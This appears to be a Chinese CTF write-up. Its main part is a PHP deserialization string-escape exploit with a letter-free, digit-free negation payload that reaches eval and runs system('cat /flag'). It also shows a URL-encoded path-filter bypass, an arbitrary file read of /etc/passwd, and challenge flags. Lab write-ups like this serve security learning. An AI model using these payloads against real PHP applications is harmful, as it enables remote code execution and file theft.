前言
web一题没出,等大佬的wp了
Web
unserialize(复现)
字符串逃逸+无字母数字rce
有铸币忘了先扫一下看看有没有源码泄露,对着一个登录框试了半天
index.php
<?php
include_once "my.php";
include_once "function.php";
include_once "login.html";
session_start();
if (isset($_POST['root']) && isset($_POST['pwd'])) {
$root = $_POST['root'];
$pwd = $_POST['pwd'];
$login = new push_it($root, $pwd);
$_SESSION['login'] = b(serialize($login));
die('<script>location.href=`./login.php`;</script>');
}
?>
可以看到这里我们POST传参的root和pwd会进入push_it
类,跟踪push_it
类
来到my.php
<?php
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
function __destruct() {
if ($this->x) {
$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
if (eval($preg_match)) {
echo $preg_match;
exit("save_waf");
}
@eval($this->x);
}
}
}
class push_it {
private $root;
private $pwd;
function __construct($root, $pwd) {
$this->root = $root;
$this->pwd = $pwd;
}
function __destruct() {
unset($this->root);
unset($this->pwd);
}
function __toString() {
if (isset($this->root) && isset($this->pwd)) {
echo "<h1>Hello, $this->root</h1>";
}
else {
echo "<h1>out!</h1>";
}
}
}
?>
可以看到pull_it
类中存在eval
方法可以进行命令执行,同时过滤了字母和数字,则要进行无字母数字rce
然后在序列化后调用b
方法,跟踪b
方法
来到function.php
<?php
function b($data) {
return str_replace('aaaa', 'bbbbbb', $data);
}
function a($data) {
return str_replace('bbbbbb', 'aaaa', $data);
}
?>
是把字符串延长的方法,很明显会用到字符串逃逸
然后就存储在$_SESSION
里
来到login.php
<?php
session_start();
include_once "my.php";
include_once "function.php";
if (!isset($_SESSION['login'])) {
echo '<script>alert(`Login First!`);location.href=`./index.php`;</script>';
}
$login = @unserialize(a($_SESSION['login']));
echo $login;
?>
先调用字符串减少的方法a
后进行反序列化,最后会echo $login
以字符串形式输出结果
所以思路很清晰了:
$root
和$pwd
是我们要传入的参数,传入参数进入push_it
类,因为最后会echo $login
以字符串形式输出结果,所以会调用__toString
方法,要想利用pull_it
类,我们需要利用字符串逃逸的方法构造带上序列化后的new pull_it()
的序列化字符串
同时,我们需要进行无字母数字RCE,这里采用取反的方法来绕过(私有属性,记得url编码)
注:因为传入的取反命令是以url编码的形式,所以对应的s
的值要以url编码前的长度为准
<?php
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
}
$code1="system";
$code2="ls /";
$a=new Pull_it("(~".urlencode(~$code1).")(~".urlencode(~$code2).");");
echo (serialize($a));
// 这里为了方便观察不做url全编码,自行编码了%00不可见字符
// O:7:"pull_it":1:{s:10:"%00pull_it%00x";s:37:"(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);";}
// 正确的序列化字符串为
// O:7:"pull_it":1:{s:10:"%00pull_it%00x";s:17:"(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);";}
然后进行字符串逃逸,逃逸长度等于";s:自定义长度:"自定义长度字符串";
,即pwd参数位置的长度,这里长度为14
手搓前一段payload闭合:root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:5:"hello";
最终Payload:
root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:5:"hello";O:7:"pull_it":1:{s:10:"%00pull_it%00x";s:22:"(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);";}
建议使用burp发包
hinder(复现非预期)
题目描述让我们访问/hinder
直接访问被拦截
这里可以用url编码实现绕过
/%68%69%6e%64%65%72/
发现hint,是一个文件任意下载的路由
尝试读取/etc/passwd
读取成功
接下来尝试直接读/flag但是没成功
再尝试读/start.sh、/run.sh等出题人常用Docker启动脚本(
非预期会在run.sh中发现flag的路由,复现环境没给这个文件
#echo $FLAG > /oh_u_f1nd_me
访问即可获得flag
hellosql(待解决)
笛卡尔积延时注入
BabyURL(待解决)
SignedObject二次反序列化
Crypto
数学但高中
misc(确信
给了一个全是坐标的附件
找个在线的图形计算器输一下就能看到flag了
flag:
flag{Funct10n_Fun}
MISC
welcome
base64
base64解码ZmxhZ3tQZWVrZ2Vla18xc19BX0dyM2E3X2VWZW43X2Ywcl9ldjNyeV9DVEZlcn0=
得到flag{Peekgeek_1s_A_Gr3a7_eVen7_f0r_ev3ry_CTFer}